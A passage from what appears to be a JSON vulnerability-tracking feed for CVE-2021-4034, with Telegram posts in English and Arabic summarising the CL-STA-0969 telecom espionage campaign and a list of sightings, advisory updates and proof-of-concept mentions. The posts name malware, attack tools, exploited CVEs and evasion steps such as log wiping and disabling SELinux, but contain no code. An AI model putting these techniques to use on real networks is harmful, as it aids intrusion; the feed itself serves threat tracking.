\ud83d\udd75\ud83c\udffb\n\n\n---\n\n\ud83e\udde0 So, what was their goal?\n\nTheir primary goal was to silently infiltrate and control telecom networks without detection \u2014 complete stealth.\n\nInvestigations revealed that the attacks occurred between February and November 2024, with the primary objective being Remote Code Execution (RCE) for data theft, without requiring user interaction.\n\n\n---\n\n\u26a0\ufe0f Wait \u2014 what is RCE?\n\nRCE (Remote Code Execution) is a cyberattack that allows an attacker to gain access to a system and execute commands remotely via a shell \u2014 one of the most dangerous forms of attack.\n\n\n---\n\n\ud83d\udd0d Example of the attack:\n\nThe attackers used a tool called Cordscan to gather intelligence about network devices.\nTo this day, no direct evidence has been found regarding their initial access point.\n\nThen, they performed brute-force attacks on SSH protocols, eventually gaining access and planting multiple malware payloads:\n\nAuthDoor: A malicious authentication module that steals credentials and allows persistent access using a \"magic password.\"\n\nCordscan: A network scanning and packet capturing tool.\n\nGTPDOOR: Specifically built for telecom networks near GPRS roaming exchanges.\n\nEchoBackdoor: A passive backdoor using ICMP packets for command execution and result delivery.\n\nSGSN Emulator (sgsnemu): Bypasses firewalls through network manipulation.\n\nChronosRAT: Malware capable of executing shellcode, capturing screenshots, keylogging, and more.\n\nNoDepDNS (MyDns): A Go-based backdoor that receives commands over DNS using UDP on port 53.\n\n\n\n---\n\n\ud83c\udfaf Targeted Threat Groups:\n\nThey also interacted with or mimicked operations of other known APTs:\n\nLightBasin (UNC1945): Targeting telecom since 2016.\n\nUNC2891: Financially motivated, known for ATM attacks.\n\nUNC3886: Exploited vulnerabilities in VMware systems.\n\n\n\n---\n\n\ud83e\uddf0 Tools Used:\n\nMicrosocks Proxy\n\nFRP (Fast Reverse Proxy)\n\nFScan\n\nResponder\n\nProxyChains\n\n\n\n---\n\n\ud83d\udd13 CVEs Exploited:\n\nCVE-2016-5195\n\nCVE-2021-4034\n\nCVE-2021-3156\n\n\n\n---\n\n\ud83d\udd75\ufe0f\u200d\u2642\ufe0f Stealth Techniques:\n\nDNS tunneling for traffic obfuscation\n\nUsing compromised telecom infrastructure as intermediate relays\n\nLog tampering and credential wiping\n\nDisabling SELinux\n\nRenaming malicious processes to appear legitimate\n\n\n\n---\n\n\ud83c\udf0d International Response \u2013 China & USA\n\nWhen asked on Fox News about alleged Chinese cyberattacks on U.S. telecom infrastructure and intellectual property theft, former U.S. President Donald Trump responded:\n\n> \u201cYou really think we don\u2019t do that too?\nWe do a lot of things like that... the world isn\u2019t simple.\u201d\n\n\n\nThis controversy coincided with statements from a Chinese tech team claiming China was the victim, after discovering a Zero-Day vulnerability in Microsoft Exchange.\n\nThey further alleged that over 50 devices belonging to a major Chinese military entity were compromised between July 2022 and July 2023.\n\nThe Chinese claimed the targets included universities, research institutes, and satellite internet companies.\n\nAccording to their reports, U.S. hackers exploited electronic file system vulnerabilities to compromise the targets between July and November 2024.\n\n\n---\n\nSource:\nThe Hacker News \u2013 CL-STA-0969 Campaign", "url": "https://t.me/SpiderCodeCommunity1/369"}, {"timestamp": "2025-08-03T10:22:58Z", "date_only": false, "value": "2025-08-03T10:22:58.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/SpiderCodeCommunity1/368", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "e97bba3e-d6f4-4a97-82a8-af0ffafb9a6f", "content": "\u0633\u0645\u0639\u062a \u0639\u0646 \u062a\u062c\u0633\u0633 \u0627\u0644\u062e\u0641\u064a \u0641\u064a \u0627\u062a\u0635\u0627\u0644\u0627\u062a \u0642\u0627\u0631\u0647 \u0627\u0633\u064a\u0627 \u061f\u061f\n\n\n\u0627\u0647\u0644\u0627 \u0648\u0633\u0647\u0644\u0627 \u0628\u064a\u0643 \u064a\u0639\u0632\u064a\u0632\u064a \u0641\u064a \u0645\u0642\u0627\u0644 \u062c\u062f\u064a\u062f \ud83d\ude01 \n\n\u0639\u0646\u0648\u0627\u0646 \u0627\u0644\u0645\u0642\u0627\u0644 :\n\n( \u0627\u062e\u062a\u0631\u0627\u0642 \u0634\u0628\u0643\u0627\u062a \u0627\u062a\u0635\u0627\u0644 \u0644\u064a \u0642\u0627\u0631\u0647 \u0627\u0633\u064a\u0627 )\n\n\n\u0641\u064a \u0648\u0627\u062d\u062f\u0629 \u0645\u0646 \u0623\u062e\u0637\u0631 \u0627\u0644\u062d\u0645\u0644\u0627\u062a \u0627\u0644\u0633\u064a\u0628\u0631\u0627\u0646\u064a\u0629 \u0627\u0644\u062a\u064a \u062a\u0645 \u0627\u0644\u0643\u0634\u0641 \u0639\u0646\u0647\u0627 \u0645\u0624\u062e\u0631\u064b\u0627 \u0628\u0644\u063a\u062a \u0634\u0631\u0643\u0647 \n\n(  Palo Alto Networks - Unit 42  )\n\n\n\u0639\u0646 \u0646\u0634\u0627\u0637 \u0645\u0643\u062b\u0641 \u0644\u0645\u062c\u0645\u0648\u0639\u0629 \u062a\u0647\u062f\u064a\u062f \u0645\u062a\u0642\u062f\u0645\u0629 \u062a\u0639\u0631\u0641 \u0628\u0627\u0633\u0645 CL-STA-0969 \u0642\u062f\u0631\u062a \u0627\u0646\u0647 \u062a\u0633\u062a\u0647\u062f\u0641 \u062e\u0644\u0627\u0644 \u0639\u0634\u0631 \u0627\u0634\u0647\u0631 \u0643\u0627\u0645\u0644\u0647 \u0627\u0644\u0628\u0646\u064a\u0647 \u0627\u0644\u062a\u062d\u062a\u064a\u0647 \u0627\u0644\u062d\u064a\u0648\u064a\u0647 \u0644\u064a \u062c\u0646\u0648\u0628 \u0634\u0631\u0642 \u0627\u0633\u064a\u0627 \n\n\u0648 \u064a\u0639\u062a\u0642\u062f \u0627\u0646 \u0627\u0644\u062a\u062c\u0633\u0633 \u062f\u0627 \u0645\u0646 \u0639\u0646 \u0637\u0631\u064a\u0642 \u062f\u0648\u0644 \ud83d\udd75\ud83c\udffb\n\n\n\u0637\u064a\u0628 \u064a\u0627 \u0633\u0628\u0627\u064a\u062f\u0631 \u062f\u0648\u0644 \u0647\u062f\u0641\u0647\u0645 \u0627\u064a \u061f\n\n\n\u0647\u062f\u0641\u0647\u0645 \u0627\u062e\u062a\u0631\u0627\u0642 \u0634\u0628\u0643\u0627\u062a \u0627\u0644\u0627\u062a\u0635\u0627\u0644\u0627\u062a \u062f\u0648\u0646 \u0627\u064a \u0639\u0644\u0645 \u0644\u064a \u0627\u064a \u0634\u062e\u0635 ( \u0633\u0631\u064a\u0647 \u062a\u0627\u0645\u0647 )\n\n\n\n\u0627\u0644\u062a\u062d\u0642\u064a\u0642\u0627\u062a \u0627\u0638\u0647\u0631\u062a \u0627\u0646 \u0627\u0644\u0647\u062c\u0648\u0645 \u0643\u0627\u0646 \u0645\u0646 \u0641\u0628\u0631\u0627\u064a\u0631 \u0644\u062d\u062f \u0646\u0648\u0641\u0645\u0628\u0631 2024 \u0648 \u0643\u0627\u0646 \u0627\u0644\u0647\u062f\u0641 \u0644\u0627\u0633\u0627\u0633\u064a \u0645\u0646 \u062f\u0627 \u0639\u0645\u0644 rce \u0645\u0646 \u063a\u064a\u0631 \u0644\u0627\u062d\u062a\u064a\u0627\u062c\u0627\u062a  \u0644\u064a \u062a\u0641\u0627\u0639\u0644 \u0639\u0634\u0627\u0646 \u0633\u0631\u0642\u0647 \u0627\u0644\u0628\u064a\u0627\u0646\u0627\u062a \n\n\n\u0644\u062d\u0638\u0647 \u0628\u0633 \u0627\u064a \u0647\u0648\u0627 rce \u061f\n\n\u0628\u062e\u062a\u0635\u0627\u0631 rce \u0647\u064a\u0627 \u0647\u062c\u0645\u0647 \u0633\u064a\u0628\u0631\u0627\u0646\u064a\u0647 \u0647\u062f\u0641\u0647 \u0627\u0646\u0647 \u062a\u0639\u0645\u0644 \u0627\u062e\u062a\u0631\u0627\u0642 \u0648 \u062a\u062d\u0643\u0645 \u0641\u064a shell \u0644\u064a \u0627\u0644\u0636\u062d\u064a\u0647 \u0648 \u062f\u064a \u0645\u0646 \u0627\u062e\u0637\u0631 \u0647\u062c\u0645\u0627\u062a \u0633\u064a\u0628\u0631\u0627\u0646\u064a\u0647\n\n\n\u0637\u064a\u0628 \u0627\u0634\u0631\u062d \u0644\u064a\u0646\u0627 \u0645\u062b\u0627\u0644 \u0639\u0646 \u0647\u062c\u0648\u0645 \u061f\n\n\n\u0647\u0645\u0627 \u0627\u0633\u062a\u062e\u062f\u0645\u0648 \u0627\u062f\u0647 \u0627\u0633\u0645\u0647 \n\n( Cordscan )\n\n\u0628\u062d\u064a\u062b \u0627\u0646\u0647\u0645 \u064a\u062c\u0645\u0648\u0639 \u0645\u0639\u0644\u0648\u0645\u0627\u062a \u0639\u0646 \u0644\u0627\u062c\u0647\u0627\u0632\u0647 \u0648 \u0644\u062d\u062f \u0648\u0642\u062a\u0646\u0627 \u0647\u0630\u0627 \u0645\u062d\u062f\u0634 \u0644\u0642\u064a \u062f\u0644\u064a\u0644\n\n\u0648 \u0628\u0639\u062f\u0647\u0627 \u0639\u0645\u0644\u0648 brute-force \u0639\u0644\u0649 \u0628\u0631\u0648\u062a\u0648\u0643\u0648\u0644 SSH\n\n\u0648 \u0628\u0639\u062f\u0647\u0627 \u062f\u062e\u0644\u0648 \u0641\u064a ssh \u0648 \u0632\u0631\u0639\u0648\u0627 malware \n\n\nAuthDoor : \u0648\u062d\u062f\u0629 \u0645\u0635\u0627\u062f\u0642\u0629 \u062e\u0628\u064a\u062b\u0629 \u062a\u0642\u0648\u0645 \u0628\u0633\u0631\u0642\u0629 \u0643\u0644\u0645\u0627\u062a \u0627\u0644\u0645\u0631\u0648\u0631 \u0648\u062a\u0648\u0641\u0631 \u0648\u0635\u0648\u0644 \u062f\u0627\u0626\u0645 \u0628\u0627\u0633\u062a\u062e\u062f\u0627\u0645 \"\u0643\u0644\u0645\u0629 \u0645\u0631\u0648\u0631 \u0633\u062d\u0631\u064a\u0629\".\n\nCordscan : \u0623\u062f\u0627\u0629 \u0644\u0641\u062d\u0635 \u0627\u0644\u0634\u0628\u0643\u0629 \u0648\u0627\u0644\u062a\u0642\u0627\u0637 \u0627\u0644\u062d\u0632\u0645.\n\nGTPDOOR: \u0645\u0635\u0645\u0645\u0629 \u062e\u0635\u064a\u0635\u064b\u0627 \u0644\u0634\u0628\u0643\u0627\u062a \u0627\u0644\u0627\u062a\u0635\u0627\u0644\u0627\u062a \u0627\u0644\u0642\u0631\u064a\u0628\u0629 \u0645\u0646 \u062a\u0628\u0627\u062f\u0644 \u062a\u062c\u0648\u0627\u0644 GPRS.\n\nEchoBackdoor: \u0628\u0627\u0628 \u062e\u0644\u0641\u064a \u0633\u0644\u0628\u064a \u064a\u0633\u062a\u062e\u062f\u0645 \u062d\u0632\u0645 ICMP \u0644\u062a\u0644\u0642\u064a \u0648\u062a\u0646\u0641\u064a\u0630 \u0627\u0644\u0623\u0648\u0627\u0645\u0631 \u0648\u0625\u0631\u0633\u0627\u0644 \u0627\u0644\u0646\u062a\u0627\u0626\u062c.\n\nSGSN Emulator (sgsnemu) : \u0644\u062a\u062c\u0627\u0648\u0632 \u0627\u0644\u062c\u062f\u0631\u0627\u0646 \u0627\u0644\u0646\u0627\u0631\u064a\u0629 \u0639\u0628\u0631 \u0627\u0644\u062a\u0644\u0627\u0639\u0628 \u0628\u0627\u0644\u0634\u0628\u0643\u0629.\n\nChronosRAT : \u0628\u0631\u0645\u062c\u064a\u0629 \u062e\u0628\u064a\u062b\u0629 \u0642\u0627\u062f\u0631\u0629 \u0639\u0644\u0649 \u062a\u0646\u0641\u064a\u0630 \u0634\u0644 \u0643\u0648\u062f\u060c \u0623\u062e\u0630 \u0644\u0642\u0637\u0627\u062a \u0634\u0627\u0634\u0629\u060c \u062a\u0633\u062c\u064a\u0644 \u0636\u063a\u0637\u0627\u062a \u0627\u0644\u0645\u0641\u0627\u062a\u064a\u062d\u060c \u0625\u0644\u062e.\n\nNoDepDNS (MyDns) : \u0628\u0627\u0628 \u062e\u0644\u0641\u064a \u0628\u0644\u063a\u0629 Go \u064a\u062a\u0644\u0642\u0649 \u0627\u0644\u0623\u0648\u0627\u0645\u0631 \u0639\u0628\u0631 DNS \u0628\u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0628\u0631\u0648\u062a UDP \u0639\u0644\u0649 \u0627\u0644\u0645\u0646\u0641\u0630 53.\n\n\n\u0648 \u0627\u062e\u062a\u0631\u0642\u0648 \u0643\u0630\u0627 \u0645\u062c\u0645\u0648\u0639\u0647 \u0632\u064a :\n\nLightBasin (UNC1945): \u062a\u0633\u062a\u0647\u062f\u0641 \u0642\u0637\u0627\u0639 \u0627\u0644\u0627\u062a\u0635\u0627\u0644\u0627\u062a \u0645\u0646\u0630 2016.\n\nUNC2891: \u0645\u062c\u0645\u0648\u0639\u0629 \u0645\u0627\u0644\u064a\u0629 \u0647\u0627\u062c\u0645\u062a \u0623\u062c\u0647\u0632\u0629 \u0627\u0644\u0635\u0631\u0627\u0641 \u0627\u0644\u0622\u0644\u064a.\n\nUNC3886: \u0645\u062c\u0645\u0648\u0639\u0629 \u0627\u0633\u062a\u063a\u0644\u062a \u062b\u063a\u0631\u0627\u062a \u0641\u064a VMware.\n\n\nMicrosocks Proxy\n\nFRP (Fast Reverse Proxy)\n\nFScan\n\nResponder\n\nProxyChains\n\n\u0648 \u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0644\u064a cves \u0632\u064a :\n\nCVE-2016-5195\n\nCVE-2021-4034\n\nCVE-2021-3156\n\n\u0648 \u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u062a\u0643\u0646\u064a\u0643\u0627\u062a \u0644\u064a \u062a\u062e\u0641\u064a \u0632\u064a :\n\n\u0627\u0644\u062a\u0644\u0627\u0639\u0628 \u0628\u062d\u0631\u0643\u0629 \u0627\u0644\u0645\u0631\u0648\u0631 \u0639\u0628\u0631 DNS tunneling\n\n\u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0645\u0634\u063a\u0644\u064a \u0627\u0644\u0627\u062a\u0635\u0627\u0644\u0627\u062a \u0627\u0644\u0645\u062e\u062a\u0631\u0642\u064a\u0646 \u0643\u0646\u0642\u0627\u0637 \u0648\u0633\u064a\u0637\u0629\n\n\u0645\u0633\u062d \u0633\u062c\u0644\u0627\u062a \u0627\u0644\u0645\u0635\u0627\u062f\u0642\u0629\n\n\u062a\u0639\u0637\u064a\u0644 SELinux\n\n\u062a\u063a\u064a\u064a\u0631 \u0623\u0633\u0645\u0627\u0621 \u0627\u0644\u0639\u0645\u0644\u064a\u0627\u062a \u0644\u062a\u0628\u062f\u0648 \u0634\u0631\u0639\u064a\u0629 \u062f\u0627\u062e\u0644 \u0627\u0644\u0646\u0638\u0627\u0645\n\n\n\u0648 \u0643\u0627\u0646 \u0641\u064a \u0631\u062f \u0641\u0639\u0644 \u0627\u0644\u062f\u0648\u0644 \u0632\u064a \u0627\u0644\u0635\u064a\u0646 \u0648 \u0627\u0645\u0631\u064a\u0643\u0627 \n\n\n\u062d\u064a\u0646 \u0633\u0627\u0626\u0644 \u0627\u0644\u0631\u0626\u064a\u0633 \u0627\u0644\u0623\u0645\u0631\u064a\u0643\u064a \u062f\u0648\u0646\u0627\u0644\u062f \u062a\u0631\u0627\u0645\u0628 \u0639\u0644\u0649 \u0642\u0646\u0627\u0629 \u0641\u0648\u0643\u0633 \u0646\u064a\u0648\u0632 \u0639\u0646 \u0647\u062c\u0645\u0627\u062a \u0635\u064a\u0646\u064a\u0629 \u0639\u0644\u0649 \u0646\u0638\u0645 \u0627\u0644\u0627\u062a\u0635\u0627\u0644\u0627\u062a \u0627\u0644\u0623\u0645\u0631\u064a\u0643\u064a\u0629 \u0648\u0633\u0631\u0642\u0629 \u0627\u0644\u0645\u0644\u0643\u064a\u0629 \u0627\u0644\u0641\u0643\u0631\u064a\u0629 \u0642\u0627\u0644 :\n\n\u0647\u0648 \u0623\u0646\u062a \u0645\u062a\u062e\u064a\u0644 \u0627\u0646\u0646\u0627 \u0645\u0634 \u0628\u0646\u0639\u0645\u0644 \u0643\u062f\u0647 \u061f\u061f\u061f\n\n \u0627\u062d\u0646\u0627 \u0628\u0646\u0639\u0645\u0644 \u062d\u0627\u062c\u0627\u062a \u0643\u062a\u064a\u0631 \u0643\u062f\u0647 \u0627\u0644\u062f\u0646\u064a\u0627 \u0645\u0627\u0634\u064a\u0629 . \u0627\u0644\u0639\u0627\u0644\u0645 \u062f\u0647 \" \u0645\u0634 \u0633\u0647\u0644 \"\n\n\u0648\u0643\u0627\u0646 \u0627\u0644\u062d\u062f\u062b \u062f\u0627 \u062c\u0647 \u0645\u0639 \u0648\u0642\u062a \u0627\u0644\u064a \u0627\u0644\u0641\u0631\u064a\u0642 \u0627\u0644\u062a\u0642\u0646\u064a \u0627\u0644\u0635\u064a\u0646\u064a \u062d\u064a\u062b \u0642\u0627\u0644\u0648 \u0627\u0646 \u0627\u0644\u0635\u064a\u0646 \u0647\u064a\u0627 \u0627\u0644\u0633\u0628\u0628 \u0644\u0646\u0647\u0645 \u0642\u062f\u0631\u0648 \u064a\u0644\u0642\u0648 zero day  \u0641\u064a \n\n( Microsoft Exchange )\n\n\n\u0648 \u0631\u0643\u0632 \u0641\u064a \u062f\u064a\n\n\u0644\u0627\u062e\u062a\u0631\u0627\u0642 \u0623\u0643\u062b\u0631 \u0645\u0646 50 \u062c\u0647\u0627\u0632 \u0639\u0627\u0626\u062f\u064a\u0646 \u0644\u0643\u064a\u0627\u0646 \u0639\u0633\u0643\u0631\u064a \u0635\u064a\u0646\u064a \u0643\u0628\u064a\u0631 \u0628\u064a\u0646 \u064a\u0648\u0644\u064a\u0648 2022 \u0648\u064a\u0648\u0644\u064a\u0648 2023 \n\n\u0648\u0632\u0639\u0645\u062a \u0627\u0644\u0635\u064a\u0646 \u0623\u0646 \u0627\u0644\u0623\u0647\u062f\u0627\u0641 \u0634\u0645\u0644\u062a \u062c\u0627\u0645\u0639\u0627\u062a \u0648\u0645\u0624\u0633\u0633\u0627\u062a \u0628\u062d\u062b\u064a\u0629 \u0648\u0634\u0631\u0643\u0627\u062a \u062a\u0639\u0645\u0644 \u0641\u064a \u0645\u062c\u0627\u0644\u0627\u062a \u0627\u0644\u0627\u062a\u0635\u0627\u0644\u0627\u062a \u0648\u0627\u0644\u0625\u0646\u062a\u0631\u0646\u062a \u0627\u0644\u0641\u0636\u0627\u0626\u064a \n\n\u0648\u0642\u062f \u0627\u0633\u062a\u062e\u062f\u0645 \u0627\u0644\u0645\u062e\u062a\u0631\u0642\u0648\u0646 \u0627\u0644\u0623\u0645\u064a\u0631\u0643\u064a\u0648\u0646  \u062d\u0633\u0628 \u0632\u0639\u0645 \u0627\u0644\u0635\u064a\u0646  \u062b\u063a\u0631\u0627\u062a \u0641\u064a \u0623\u0646\u0638\u0645\u0629 \u0627\u0644\u0645\u0644\u0641\u0627\u062a \u0627\u0644\u0625\u0644\u0643\u062a\u0631\u0648\u0646\u064a\u0629 \u0644\u0627\u062e\u062a\u0631\u0627\u0642 \u0627\u0644\u0623\u0646\u0638\u0645\u0629 \u0628\u064a\u0646 \u064a\u0648\u0644\u064a\u0648 \u0648\u0646\u0648\u0641\u0645\u0628\u0631 2024\n\n\n\n\u0627\u0643\u062a\u0628\u0648 \u0644\u064a\u0627 \u0631\u0627\u064a\u0643\u0645 \u0641\u064a \u0627\u0644\u0645\u0642\u0627\u0644 \u062d\u0627\u0648\u0644\u062a \u0627\u062e\u0644\u064a \u0644\u063a\u0647 \u0627\u0644\u0639\u0631\u0628\u064a\u0647 \u0627\u0644\u0641\u0635\u062d\u0647 \u0641\u064a \u0648 \u0634\u0643\u0631\u0627 \u0639\u0644\u064a \u0642\u0631\u0627\u0626\u0647 \u0627\u0644\u0645\u0642\u0627\u0644 \ud83e\udd0d\u2728\n\n\n\u0645\u0635\u062f\u0631 : \n\n\nhttps://thehackernews.com/2025/08/cl-sta-0969-installs-covert-malware-in.html", "url": "https://t.me/SpiderCodeCommunity1/368"}, {"timestamp": "2025-08-22T02:33:14.094Z", "date_only": false, "value": "2025-08-22T02:33:14.094339Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lwxg5kfkh32p", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "68f01690-b718-4f32-bb09-3d69ac994c08", "url": "https://bsky.app/profile/cve.skyfleet.blue/post/3lwxg5kfkh32p"}, {"timestamp": "2025-08-31T03:00:56Z", "date_only": false, "value": "2025-08-31T03:00:56.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/ab0b745f-bbd5-338e-8b92-97dd0c757e9d", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "5b8b1a80-12a0-4abb-b9a4-e66a48b470a9"}, {"timestamp": "2025-09-01T13:53:38Z", "date_only": false, "value": "2025-09-01T13:53:38.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/ca7dfd4e-d0b5-4d10-8982-36d9f6e53c8e", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "fa129aac-fe89-4693-b8fc-f4a83a0c5bde"}, {"timestamp": "2025-09-11T21:00:04Z", "date_only": false, "value": "2025-09-11T21:00:04.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/kbwvMEYxNMTUq0MoPBZhBxwW65HhDCC2hCGDcY8gOyB2buw", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "5d6e23f7-5839-4882-a820-769e2c44086b"}, {"timestamp": "2025-10-01T15:00:08Z", "date_only": false, "value": "2025-10-01T15:00:08.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/-AMVnSY6jDOojlnXSGqNnso0CPT7pe-b2HhnSTUmCsNWYZA", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "5dc36799-2443-4ca0-a402-ff0e3e274436"}, {"timestamp": "2025-10-03T15:00:07Z", "date_only": false, "value": "2025-10-03T15:00:07.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/odXP70O3XMrsEr_YmSXQAQZz7juWUhV3_6vOOLvsMkf7Bzs", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "8f14693e-46e0-418b-9fab-bdf789c5014a"}, {"timestamp": "2025-10-06T22:00:00Z", "date_only": false, "value": "2025-10-06T22:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-0302", "record": "WID-SEC-W-2022-0302", "field": "document.tracking.revision_history.3.date"}, {"timestamp": "2025-10-06T22:00:00Z", "date_only": false, "value": "2025-10-06T22:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-0432", "record": "WID-SEC-W-2022-0432", "field": "document.tracking.revision_history.2.date"}, {"timestamp": "2025-10-06T22:00:00Z", "date_only": false, "value": "2025-10-06T22:00:00.000+00:00", "kind": "other", "label": "Updated", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-0302", "record": "WID-SEC-W-2022-0302", "field": "document.tracking.current_release_date"}, {"timestamp": "2025-10-06T22:00:00Z", "date_only": false, "value": "2025-10-06T22:00:00.000+00:00", "kind": "other", "label": "Updated", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-0432", "record": "WID-SEC-W-2022-0432", "field": "document.tracking.current_release_date"}, {"timestamp": "2025-10-07T08:04:32.343Z", "date_only": false, "value": "2025-10-07T08:04:32.343+00:00", "kind": "other", "label": "Document generated", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-0302", "record": "WID-SEC-W-2022-0302", "field": "document.tracking.generator.date"}, {"timestamp": "2025-10-07T08:04:33.254Z", "date_only": false, "value": "2025-10-07T08:04:33.254+00:00", "kind": "other", "label": "Document generated", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-0432", "record": "WID-SEC-W-2022-0432", "field": "document.tracking.generator.date"}, {"timestamp": "2025-10-22T00:32:28Z", "date_only": false, "value": "2025-10-22T00:32:28Z", "kind": "other", "label": "Updated", "source": "github \u00b7 GHSA-QGR2-XGQV-24X8", "record": "GHSA-QGR2-XGQV-24X8", "field": "modified"}, {"timestamp": "2025-11-23T18:56:16Z", "date_only": false, "value": "2025-11-23T18:56:16.000000Z", "kind": "sighting", "label": "Seen", "source": "https://gist.github.com/strikoder/c540a4babb01307960dd6a30f822077c", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "2ee98f27-b264-4dad-913c-1b6a52f2158c", "url": "https://gist.github.com/strikoder/c540a4babb01307960dd6a30f822077c"}, {"timestamp": "2025-12-27T18:17:29.314Z", "date_only": false, "value": "2025-12-27T18:17:29.314Z", "kind": "other", "label": "Document generated", "source": "csaf_microsoft \u00b7 MSRC_CVE-2021-4034", "record": "MSRC_CVE-2021-4034", "field": "document.tracking.generator.date"}, {"timestamp": "2026-02-02T12:27:19.449Z", "date_only": false, "value": "2026-02-02T12:27:19.449059Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/518ac670-b61f-4ca6-97e4-1e8262566fc6", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "854919a3-17a6-440c-842a-5e1b42d5370c", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/518ac670-b61f-4ca6-97e4-1e8262566fc6"}, {"timestamp": "2026-02-02T12:27:19.449Z", "date_only": false, "value": "2026-02-02T12:27:19.449059Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/518ac670-b61f-4ca6-97e4-1e8262566fc6", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "e1fc622d-8af9-4519-af1d-ab2a0e724a43", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/518ac670-b61f-4ca6-97e4-1e8262566fc6"}, {"timestamp": "2026-02-02T13:24:01Z", "date_only": false, "value": "2026-02-02T13:24:01+00:00", "kind": "kev", "label": "Recorded", "source": "cisa-kev", "record": "CVE-2021-4034", "field": "timestamps.recorded_at", "uuid": "0a662f09-c230-4d89-be13-4975ab3a3528", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-02-17T13:27:41Z", "date_only": false, "value": "2026-02-17T13:27:41.000000Z", "kind": "sighting", "label": "Seen", "source": "https://gist.github.com/garagon/a8d92972c465aaeac354cd11668e409a", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "b77aea15-592f-4bf7-852a-8d032b74223d", "url": "https://gist.github.com/garagon/a8d92972c465aaeac354cd11668e409a"}, {"timestamp": "2026-04-01T09:00:05Z", "date_only": false, "value": "2026-04-01T09:00:05.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/eadLOWEYBTZCQCtvYpa_57UJUPS5kPEDk1F_xEN9dagEQEQ", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "4f4c6b13-56da-483d-a648-71fe5bada62b"}, {"timestamp": "2026-04-22T07:39:50Z", "date_only": false, "value": "2026-04-22T07:39:50Z", "kind": "other", "label": "Updated", "source": "osv_ubuntu \u00b7 UBUNTU-CVE-2021-4034", "record": "UBUNTU-CVE-2021-4034", "field": "modified"}, {"timestamp": "2026-05-19T21:00:04Z", "date_only": false, "value": "2026-05-19T21:00:04.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/SM41ZgDjE5GCx8_K5BndOjKQZfdnq7khstyXQtIQ9aWd83s", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "ac0c61a9-8c3b-4130-bf1d-8ac1f66733b7"}, {"timestamp": "2026-05-20T15:00:07Z", "date_only": false, "value": "2026-05-20T15:00:07.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/LRuVHO_NRtLslMv_pxl3JYoJM5ygIHd_ktikilExPtpHxGM", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "4eda8fd9-1581-4973-8482-1a5f0215003f"}, {"timestamp": "2026-05-21T04:01:06Z", "date_only": false, "value": "2026-05-21T04:01:06.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/85144", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "c96e388e-4150-42b3-87f5-8af3c27b5500", "url": "https://t.me/GithubRedTeam/85144"}, {"timestamp": "2026-05-29T07:12:04.306Z", "date_only": false, "value": "2026-05-29T07:12:04.306500Z", "kind": "sighting", "label": "Seen", "source": "https://poliverso.org/objects/0477a01e-1122ebc0-12145c4779ccb07a", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "aeac078f-60ea-4a4b-9324-104aeb50e277", "url": "https://poliverso.org/objects/0477a01e-1122ebc0-12145c4779ccb07a"}, {"timestamp": "2026-06-18T19:44:51Z", "date_only": false, "value": "2026-06-18T19:44:51.000000Z", "kind": "sighting", "label": "Seen", "source": "https://gist.github.com/gilesknap/582a289874e65b89fc99f09df37cf121", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "00dc34f6-61ff-4699-aa6d-fb66eedf4ea4", "url": "https://gist.github.com/gilesknap/582a289874e65b89fc99f09df37cf121"}, {"timestamp": "2026-06-18T20:15:57Z", "date_only": false, "value": "2026-06-18T20:15:57.000000Z", "kind": "sighting", "label": "Seen", "source": "https://gist.github.com/gilesknap/ce59ec32dc1b04edd1a3813f9200aa11", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "71c3b788-ff3d-4f62-a09f-d8d4330843d9", "url": "https://gist.github.com/gilesknap/ce59ec32dc1b04edd1a3813f9200aa11"}, {"timestamp": "2026-06-19T12:47:07.387Z", "date_only": false, "value": "2026-06-19T12:47:07.387153Z", "kind": "sighting", "label": "Exploited", "source": 